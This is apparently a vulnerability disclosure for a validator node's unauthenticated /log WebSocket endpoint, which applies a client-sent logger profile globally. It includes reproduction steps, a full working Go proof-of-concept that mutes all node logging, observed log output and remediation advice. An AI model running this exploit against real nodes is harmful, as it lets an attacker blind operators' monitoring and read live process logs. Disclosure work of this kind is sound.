CVE-2026-86064

An unauthenticated client can connect to GET /log, send an arbitrary logger profile as the first WebSocket message, and mutate the node's global logging configuration before receiving live logs from the process. I confirmed this against a local validator built from this repository: an unauthenticated client set the global log level to *:NONE, the node accepted the profile, and the node stopped emitting normal slot logs while the WebSocket connection remained open.

This is not a duplicate of the published KVM or P2P advisories. It is a management-plane flaw in the public WebSocket logging endpoint.

Vulnerability details

Affected code

• Route exposed by default in config/node/api.yaml
• Route registration in network/api/api.go
• Unauthenticated upgrade in network/api/api.go
• First client message is parsed as a logger profile and applied globally in network/api/logs/logSender.go
• Global logger mutation happens in dependency github.com/klever-io/klever-go-logger, profile.go, Apply()

Root cause

/log is enabled by default and does not require authentication. After the WebSocket upgrade, the server reads the first client message and treats it as a logger Profile. That profile is then applied process-wide through profile.Apply(), which changes global log level patterns and output formatting options for the whole node.

After that handshake, the same unauthenticated connection is registered as a log observer and receives live logs from the running process.

Reproduction steps

Environment

• Validator built from the repository at commit 9640d63265e910e166dfa694c8e5ddeb53018ffd
• REST API bound locally for validation
• Tested on 2026-05-30

Step 1: Build and run a local validator from source

cd <repo-root>

go build -o ./bin/validator ./cmd/node

./bin/validator \
  --rest-api-interface=127.0.0.1:18080 \
  --port=18083 \
  --config=./config/node/config.yaml \
  --config-api=./config/node/api.yaml \
  --config-epochs=./config/node/enableEpochs.yaml \
  --config-gas-schedule=./config/node/gasScheduleV1.yaml \
  --config-external=./config/node/external.yaml \
  --genesis-file=./config/node/genesis.json \
  --nodes-setup-file=./config/node/nodesSetup.json \
  --working-directory=./validator-report-run \
  --use-log-view

The node exposes GET /log and a plain HTTP request already shows it is a live WebSocket endpoint:

curl -i http://127.0.0.1:18080/log

Observed response:

HTTP/1.1 400 Bad Request
Sec-Websocket-Version: 13

Step 2: Confirm normal node logging before the attack

Before the attack, the validator emits periodic slot logs such as:

#################################### SLOT 14 BEGINS ####################################
#################################### SLOT 15 BEGINS ####################################

Step 3: Connect to /log without authentication and apply a global mute profile

Run the PoC file:

cd <repo-root>
go run ./poc-log-profile-control.go \
  -url ws://127.0.0.1:18080/log \
  -profile none \
  -hold 12s

Full PoC source:

package main

import (
	"flag"
	"fmt"
	"log"
	"time"

	"github.com/gorilla/websocket"
)

func main() {
	url := flag.String("url", "ws://127.0.0.1:18080/log", "WebSocket log endpoint")
	profile := flag.String("profile", "none", "Profile to send: none or trace")
	hold := flag.Duration("hold", 12*time.Second, "How long to keep the socket open")
	flag.Parse()

	payload := `{"LogLevelPatterns":"*:NONE","WithCorrelation":false,"WithLoggerName":false}`
	switch *profile {
	case "trace":
		payload = `{"LogLevelPatterns":"*:TRACE","WithCorrelation":true,"WithLoggerName":true}`
	case "none":
	default:
		log.Fatalf("unsupported profile %q", *profile)
	}

	c, _, err := websocket.DefaultDialer.Dial(*url, nil)
	if err != nil {
		log.Fatalf("dial: %v", err)
	}
	defer c.Close()

	fmt.Printf("connected to %s\n", *url)
	fmt.Printf("sending payload: %s\n", payload)

	if err := c.WriteMessage(websocket.TextMessage, []byte(payload)); err != nil {
		log.Fatalf("write payload: %v", err)
	}

	fmt.Printf("holding connection open for %s\n", hold.String())
	time.Sleep(*hold)
	fmt.Println("closing connection")
}

Save the PoC as poc-log-profile-control.go in the repository root, or run it from any directory with access to the Go module cache.

Step 4: Observe the validator accepts and applies the unauthenticated profile

While the PoC is connected, the validator prints:

websocket log profile received  profile = [pattern=*:NONE, with correlation=false, with logger name=false]

Step 5: Observe logging is suppressed while the attacker connection remains open

In my local reproduction, the validator emitted:

SLOT 14 BEGINS
websocket log profile received profile = [pattern=*:NONE, ...]
reverted log profile profile = [pattern=*:INFO, ...]
SLOT 18 BEGINS

The expected slot logs for the interval while *:NONE was active did not appear. This proves that an unauthenticated client can suppress process logs globally while the WebSocket remains connected.

Step 6: Observe the profile is restored only after the attacker disconnects

After the PoC closes the WebSocket, the validator prints:

reverted log profile  profile = [pattern=*:INFO, with correlation=false, with logger name=false]

The revert happens because the server stores the previous profile and restores it only on disconnect. During the lifetime of the attacker connection, the attacker-controlled profile remains active.

Immediate

• Remove /log from the default open: true route set.
• Require authentication before upgrading the WebSocket.
• Reject unauthenticated clients before any profile message is processed.

Short term

• Do not apply client-provided logger profiles to the process-global logger.
• If remote log viewing is required, allow only a fixed server-side profile or a strict allowlist of safe settings.
• Enforce origin checks and, if possible, bind /log to localhost-only or a dedicated admin interface.

Long term

• Separate log streaming from global logger configuration.
• Move any profile mutation capability behind an authenticated admin-only channel with explicit authorization and audit logging.